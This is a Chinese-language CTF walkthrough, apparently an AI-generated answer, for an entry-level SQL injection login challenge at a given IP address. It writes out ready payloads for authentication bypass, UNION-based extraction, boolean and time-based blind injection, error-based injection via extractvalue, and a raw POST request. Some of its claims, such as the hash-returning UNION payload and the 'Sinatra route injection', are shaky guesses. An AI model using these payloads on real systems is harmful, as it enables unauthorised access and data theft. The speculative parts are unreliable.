sqli注入

🎯 题目分析

这是一道 入门级 SQL 注入(SQLi) 题目,属于 登录绕过 + 联合查询 类型,后端是 Sinatra 框架。你之前的 payload 格式错误,导致服务器返回了框架提示页面,现在我们一步步解决它。


🔍 第一步:判断注入点

  1. 访问目标地址 http://49.232.142.230:14839,会看到一个登录表单(用户名 + 密码)。

  2. 后端 SQL 逻辑大致为: sql

    复制代码
    SELECT * FROM users WHERE username = '$username' AND password = '$password'
  3. 我们需要构造 payload 来篡改 SQL 逻辑,绕过登录或直接获取数据。


✅ 第二步:构造正确的注入 payload

方法 1:万能密码登录绕过(最简单)

用户名 输入框中填入:

plaintext

复制代码
admin' OR 1=1 -- 
  • admin':闭合前面的单引号,让 SQL 提前结束用户名匹配
  • OR 1=1:让条件恒成立,无论密码是什么都能查到数据
  • -- :注释掉后面的 SQL 语句,避免语法错误

密码随便填(比如 123),提交后即可登录成功,进入后台拿到 flag。

方法 2:联合查询直接获取密码(进阶)

如果登录绕过不行,就用联合查询直接拖库:

plaintext

复制代码
admin' UNION SELECT 1, '4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1' -- 
  • 这个 payload 会让数据库返回我们构造的 admin 密码哈希,登录后即可拿到 flag。

🚀 第三步:实操步骤

  1. 打开登录页面,在 用户名 输入 admin' OR 1=1 -- ,密码输入任意值。
  2. 提交表单,成功登录后页面会显示 flag。
  3. 如果登录后没看到 flag,就查看页面源代码,flag 通常藏在注释或隐藏元素里。

💡 关键注意点

  • 你之前的 URL 写法 index.php=admin'%20or%20'1'='1 是错误的,这道题是 POST 表单注入,不是 GET 参数注入。
  • 必须在 用户名输入框 里填 payload,而不是直接改 URL。
  • 注意 -- 后面必须加一个空格,否则注释会失效。

🎯 最终预期结果

登录成功后,页面会显示类似 flag{xxxxxxxxxxxxxxxxxxxx} 的字符串,复制提交即可。

🚀 除了万能密码绕过,这道题还有这些解法

这道题是经典的 入门级 SQL 注入(Sinatra 框架),除了万能密码登录,还有以下几种思路:


1. 联合查询注入(Union Query)

如果万能密码被过滤,或者想直接拖库,可以用联合查询获取数据库信息。

核心思路 :利用 UNION SELECT 拼接查询,让数据库返回我们想要的数据。

  • 先判断列数: sql

    复制代码
    admin' ORDER BY 3 -- 

    如果报错,说明列数 < 3;直到不报错为止,得到列数。

  • 再获取数据库名 / 表名 / 字段: sql

    复制代码
    admin' UNION SELECT database(), user() -- 
  • 最后获取 flag 或密码: sql

    复制代码
    admin' UNION SELECT username, password FROM users LIMIT 1 -- 

拿到密码后,直接登录即可得到 flag。


2. 布尔盲注(Boolean Blind SQLi)

如果页面只返回 "成功 / 失败" 两种状态,没有回显,就用布尔盲注逐字符猜解数据。

示例 payload(猜数据库名长度):

sql

复制代码
admin' AND length(database())=5 -- 
  • 页面正常 → 长度正确
  • 页面异常 → 长度错误然后逐位猜解每个字符:

sql

复制代码
admin' AND substr(database(),1,1)='c' -- 

直到猜出完整数据库名、表名、字段名,最后拿到 flag。


3. 时间盲注(Time-Based Blind SQLi)

如果页面连 "成功 / 失败" 都不区分,就用时间盲注,通过延迟来判断数据。

示例 payload

sql

复制代码
admin' AND IF(ascii(substr(database(),1,1))=99, sleep(5), 0) -- 
  • 如果页面延迟 5 秒才响应 → 第一位字符是 c
  • 否则 → 不是逐位猜解,最终拿到 flag。

4. 报错注入(Error-Based SQLi)

如果页面会返回数据库错误信息,可以利用报错函数直接爆出数据。

常用函数

  • MySQL:extractvalue()updatexml()

  • 示例 payload: sql

    复制代码
    admin' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) -- 

页面会直接在报错信息里显示数据库名,继续猜解即可拿到 flag。


5. POST 数据包注入(针对表单场景)

这道题是 POST 表单注入,除了在用户名框输入 payload,还可以直接修改 POST 数据:

Burp Suite 示例

http

复制代码
POST /login HTTP/1.1
Host: 49.232.142.230:14839
...

username=admin' OR 1=1 -- &password=123

直接发送这个数据包,就能绕过登录,拿到 flag。


6. 利用框架特性(Sinatra 特殊注入)

从你之前的页面提示 get '/index.php=admin'%20or%20'1'='1' do 可以看出,后端是 Sinatra 框架,可能存在 路由注入参数解析漏洞

  • 尝试构造特殊路由 payload: plaintext

    复制代码
    /admin' OR '1'='1
  • 或直接在 URL 中注入: plaintext

    复制代码
    http://49.232.142.230:14839/?username=admin' OR 1=1 -- 

如果框架把 URL 路径 / 参数直接拼接到 SQL 里,就可以直接注入拿到 flag。


💡 总结

表格

方法 适用场景 优点 缺点
万能密码绕过 无过滤、入门题 最简单、最快 容易被过滤
联合查询 有回显、列数已知 直接获取数据 需要知道列数
布尔盲注 无回显、仅状态 稳定可靠 速度慢、繁琐
时间盲注 无任何回显 最通用 速度极慢
报错注入 页面返回错误 速度快、直接 依赖报错功能
框架特性注入 特定框架(Sinatra) 可能绕过防护 依赖框架实现

🎯 推荐顺序

  1. 先试 万能密码绕过(最简单)
  2. 不行就试 联合查询
  3. 再不行就用 布尔 / 时间盲注
  4. 最后尝试 框架特性注入
相关推荐
Chengbei1120 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
小江的记录本1 天前
【JVM虚拟机】垃圾回收GC:垃圾回收算法:标记-清除、标记-复制、标记-整理、分代收集(附《思维导图》+《面试高频考点清单》)
java·jvm·后端·python·算法·安全·面试
超梦dasgg1 天前
Java 生产环境第三方对接安全保障方案
java·开发语言·安全
IAR Systems1 天前
软件定义汽车:构建更安全、更智能的汽车应用软件
安全·汽车·嵌入式·iar
无限进步_1 天前
【C++】weak_ptr、循环引用与线程安全
开发语言·数据结构·c++·算法·安全
叶落阁主1 天前
AntV npm 投毒复盘:一次公司私服缓存恶意包引发的账号封禁事件
前端·安全·npm
cfm_29141 天前
MySQL8.0 核心新特性详解(架构/性能/SQL/索引/安全全覆盖)
sql·安全·架构
lcreek1 天前
Java安全:理解JNDI注入与Fastjson反序列化漏洞
java·安全
楷哥爱开发1 天前
Facebook解封指南:4种封禁类型及其原因(附对应申诉方法)
网络·学习·安全
Geometry Fu1 天前
《物联网安全》第3.1章 RFID安全
物联网·安全·rfid